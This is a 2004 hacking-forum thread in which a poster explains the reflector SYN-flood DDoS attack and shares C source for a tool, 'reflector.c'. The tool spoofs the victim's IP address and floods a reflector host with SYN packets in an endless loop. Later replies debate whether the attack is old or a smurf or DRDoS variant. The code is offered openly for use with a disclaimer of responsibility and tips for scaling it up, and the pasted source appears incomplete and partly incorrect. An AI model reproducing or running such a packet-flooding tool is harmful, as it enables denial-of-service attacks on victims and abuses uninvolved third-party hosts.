There exists a (D)DoS attack which involves sending a packet to an "agent" or "reflector" machine, which involves the machine sending a packet in reply. Such a packet could be a packet with the SYN flag set, which would cause a SYN|ACK packet to be sent in reply. But, the SYN packet is sent to the reflector machine with a spoofed source address - THE ADDRESS OF THE VICTIM MACHINE. Then, the attacker continuously sends these SYN packets to the reflector machine with the source address of a target machine, causing the target machine to be flooded with SYN|ACK packets. The diagram below illustrates my point:
CODE
SYN Dest IP: reflector Src IP: target ATTACKER -----------------> REFLECTOR MACHINE | | | SYN|ACK | Dest IP: target | Src IP: reflector | TARGET MACHINE
By doing this, the attacker is essentially using "reflector" machine's bandwidth to continuously flood "target" machine with SYN|ACK packets. Commonly, the attacker would do this using multiple reflector machines, thus causing this attack to be a DDoS (Distributed Denial of Service attack). Although the concept of this attack is not new, and use of it certainly NOT new either (register.com was the victim of a reflector attack in 2k1 if I recall), I haven't seen any tools written to do this attack. I have written a Proof-of-concept to demonstrate the attack I described above. I hope you might find it useful in some way.
reflector.c
CODE
/* reflector.c - reflector DDoS utility. * * This program is a simple PoC program for the 'reflector' DDoS attack. * The attack theory is relatively simple: * * An attacker spoofs a SYN packet with the source address set to the victim's * IP address to an agent host. The agent host responds to this SYN packet by * sending a SYN|ACK packet to the source address (which is actually the * victim's IP address). The attacker sends a continual storm of these * packets, thus causing the victim host to be flooded continually with SYN|ACK * packets, by a totally innocent agent host ("reflector" host). In this * sense, the attacker is using a different host to carry out the DoS attack, * thus classifying it a DDoS attack. * * I don't take responsibility for usage of this program, I hope you find it * useful. * * -shaun2k2 */
/* signal handler function prototype. */ void clean_exit();
/* checksum calculation function prototype. */ unsigned short in_cksum(unsigned short *addr, int len);
int sock; /* this is our raw socket. This is a global int because the signal handler needs to be able to reference it, so declaring in main() would not work. */
/* main() function. The main function will build the packet, and send it * forever. When it receives a form of termination signal from the user, * it will hand control to clean_exit(), which should cleanly exit the * program. This function fills in the IP section of the packet, the TCP * section, and also our pseudo header, which is used in calculating a * checksum value. * * return value: 0 - success. */ int main(int argc, char *argv[]) {
/* Check the command line arguments. */ if(argc < 3) { printf("reflect <reflect_sys> <reflect_sys_port> <victim>\n", argv[0]); printf("reflect DDoS written by shaun2k2 - <shaunige@yahoo.co.uk>\n"); exit(-1); }
/* pseudo header, used in calculating a checksum for each packet. */ struct pseudohdr { unsigned long saddr; /* source address */ unsigned long daddr; /* dest address */ char zer0; /* zero */ unsigned char protocol; /* protocol to use */ unsigned short length; /* length of packet */ };
/* Fill in the destination (reflector machine) info. */ dest.sin_family = AF_INET; dest.sin_port = htons(atoi(argv[2])); dest.sin_addr = *((struct in_addr *)he->h_addr); memset(packet, 0, 4096); /* zero out the packet. */
/* Fill in the structure for the source address (victim). */ dest1.sin_addr = *((struct in_addr *)he1->h_addr); dest1.sin_port = htons(1337); /* this doesn't matter too much. */ /* nothing else in needed. */
/* fill in the pseudo header - this is needed to help calculate * the checksum for the tcp segment of the packet. */ pseudo->saddr = inet_ntoa(dest1.sin_addr); /* source address (target). */ pseudo->daddr = inet_ntoa(dest.sin_addr); /* dest address (reflector). */ pseudo->zer0 = 0; pseudo->protocol = IPPROTO_TCP; /* we are using tcp. */ pseudo->length = htons(sizeof(struct tcphdr)); /* total length of tcp segment of the packet. */
/* Tell the kernel we'll fill in the IP headers * outselves. */ if((setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on))) < 0 ) { perror("setsockopt"); exit(1); }
/* Fill in IP headers. */ ip->ihl = 5; ip->version = 4; ip->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); ip->id = htons(1337); ip->saddr = inet_ntoa(dest1.sin_addr); /* source address is the victims IP address. */
ip->daddr = inet_ntoa(dest.sin_addr); /* dest address is the reflector machine. */ ip->ttl = 255; /* time to live for the packet. */ ip->protocol = 6; ip->check = 0; /* calculate checksum later, below. */ ip->tos = 0; ip->frag_off = 0; /* set the checksum. */ ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr));
/* Fill in the TCP headers. */ tcp->source = htons(dest1.sin_port); tcp->dest = htons(dest.sin_port); /* the dest port is the destination port on the reflector machine. */
tcp->seq = htons(random()); /* "random" sequence number. */ tcp->ack = 0; /* ACKnowledgement */ tcp->syn = 1; /* this is the first step in the TCP handshake, a syn packet. */ tcp->window = htons(65535); tcp->doff = 5; tcp->rst = 0; /* ReSeT */ tcp->check = 0; /* calculate checksum later, below. */ tcp->psh = 0; /* PuSH */ tcp->fin = 0; /* FINish */ tcp->urg = 0; /* URGent */ tcp->ack_seq = htons(0); /* ACKnowledgement SEQuence number. this is not an ACK packet, so we do not need this. */ /* set the checksum. */ tcp->check = (unsigned short)in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr)+sizeof(struct pseudohdr));
signal(SIGINT, clean_exit); /* install signal handlers. If user does send a signal which is either SIGINT or SIGQUIT, jump to clean_exit(). */ signal(SIGQUIT, clean_exit);
/* Insert some fork()'s in here if you can afford a few processes. */ while(1) {
/* After all of our hard work, finally inject the packet. * The packet will be sent out as fast as our machine can send them * out, and will continue until the user sends some form of term * signal. If our attack works correctly, the target machine should * be flooded with SYN|ACK packets. If you run multiple instances * of this program, each using a different reflector ('agent') host, * this could be a full-scale DDoS attack, and a pretty effective one. */ sendto(sock, packet, ip->tot_len, 0, (struct sockaddr *)&dest, sizeof(struct sockaddr)); }
/* return success - shouldn't ever get here, since loop is * infinite. */ return(0); }
/* checksum calculation function. * This function will efficiently calculate the checksum * for both the TCP part of the packet, and the IP part of the * packet. This is a pretty popular checksum function found in * many raw sockets programs. I am unaware of who the original * author is. If you know, please let me know. * * return value: a calculated checksum value. */ unsigned short in_cksum(unsigned short *addr, int len) { register int sum = 0; u_short answer = 0; register u_short *w = addr; register int nleft = len;
while (nleft > 1) { sum += *w++; nleft -= 2; }
if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w; sum += answer; }
sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); /* return the checksum value. */ }
I have attempted to make it as robust as possible.
Thank you for your time. Shaun.
stonebreaker
Feb 28 2004, 02:31 PM
for this code to compiled is libpcap necessary?
prog
Feb 28 2004, 02:46 PM
I dont see it in the include list.
flame
Feb 28 2004, 03:29 PM
i found a nice read about these kind of things here it is: h**p://www.tik.ee.ethz.ch/~ddosvax/talks/ddos_td.pdf
shaun2k2
Feb 28 2004, 04:08 PM
No, libpcap isn't used in reflector.c - I used the UNIX raw socket library.
QUOTE
i found a nice read about these kind of things here it is: h**p://www.tik.ee.ethz.ch/~ddosvax/talks/ddos_td.pdf
Thanks for posting flame .
-Shaun.
Steffan
Feb 28 2004, 04:12 PM
THX. will have a look @ this ...
Steven
linuxwolf
Feb 28 2004, 04:17 PM
heh, old old OLD news, looks like another variant of the smurf. :/~. except it only uses one host machine, instead of smurfs, broadcasting to a list of ips. Now, THAT is devastating. If you'd like an explanation on smurfs, ill get one for you.
Dinos
Feb 28 2004, 06:34 PM
it's quite old news indeed but never the less it's a very good try and a nice study material for everybody in the board i guess. Though my opinion about DDoS is always the same, it's better not to be in their way ever.
Dinos
shaun2k2
Feb 28 2004, 06:44 PM
QUOTE
heh, old old OLD news, looks like another variant of the smurf. :/~. except it only uses one host machine, instead of smurfs, broadcasting to a list of ips. Now, THAT is devastating. If you'd like an explanation on smurfs, ill get one for you.
That wasn't very accurate. The reflector attack is in no way related to the smurf attack. As for the explanation, I am very much aware of the theory of a smurf attack. In the way you seem to look at things, all attacks are variations of each other. I'm curious, how the hell does the reflector attack resemble the smurf attack? Cheers.
An old attack eh? Not half as old as buffer overflows. Buffer overflows are as old as assembly languages, reflector attacks are as old as the TCP/IP suite.
-Shaun.
easternerd
Feb 29 2004, 07:48 PM
I guess what you mean to say is the usaage of Decoys and being undetectable using the tcp sequence numbers . its very old. ive even seen this in some newsgrops dated as old as 10 years back. good info .
Tyrano
Feb 29 2004, 08:25 PM
isn't this just a simple Distributed Reflective Denial Of Service (DRDOS), using only one machine instead of multiple zombie machines/routers?
shaun2k2
Mar 1 2004, 04:38 PM
ROFL, why is everybody jumping all over me because I tried to post something useful. Hehe, did I claim the attack was new? Re-read. Gee, it might be old, but buffer overflows have been around as long as assembly languages, but you guys still like to talk about them (me too).
QUOTE
isn't this just a simple Distributed Reflective Denial Of Service (DRDOS), using only one machine instead of multiple zombie machines/routers?
Yes, of course it is. But obviously, people employ the attack using more than one machine. And is does qualify as a distributed denial of service attack, because you are using other machines to distribute it.
QUOTE
I guess what you mean to say is the usaage of Decoys and being undetectable using the tcp sequence numbers .
Yeah, to some extent, but the sequence number in a SYN packet is random. Using other machines is a way to hide yourself, but packet spoofing would be employed by the attacker anyway. Other machines have high bandwidth, such as routers, so it's appealing.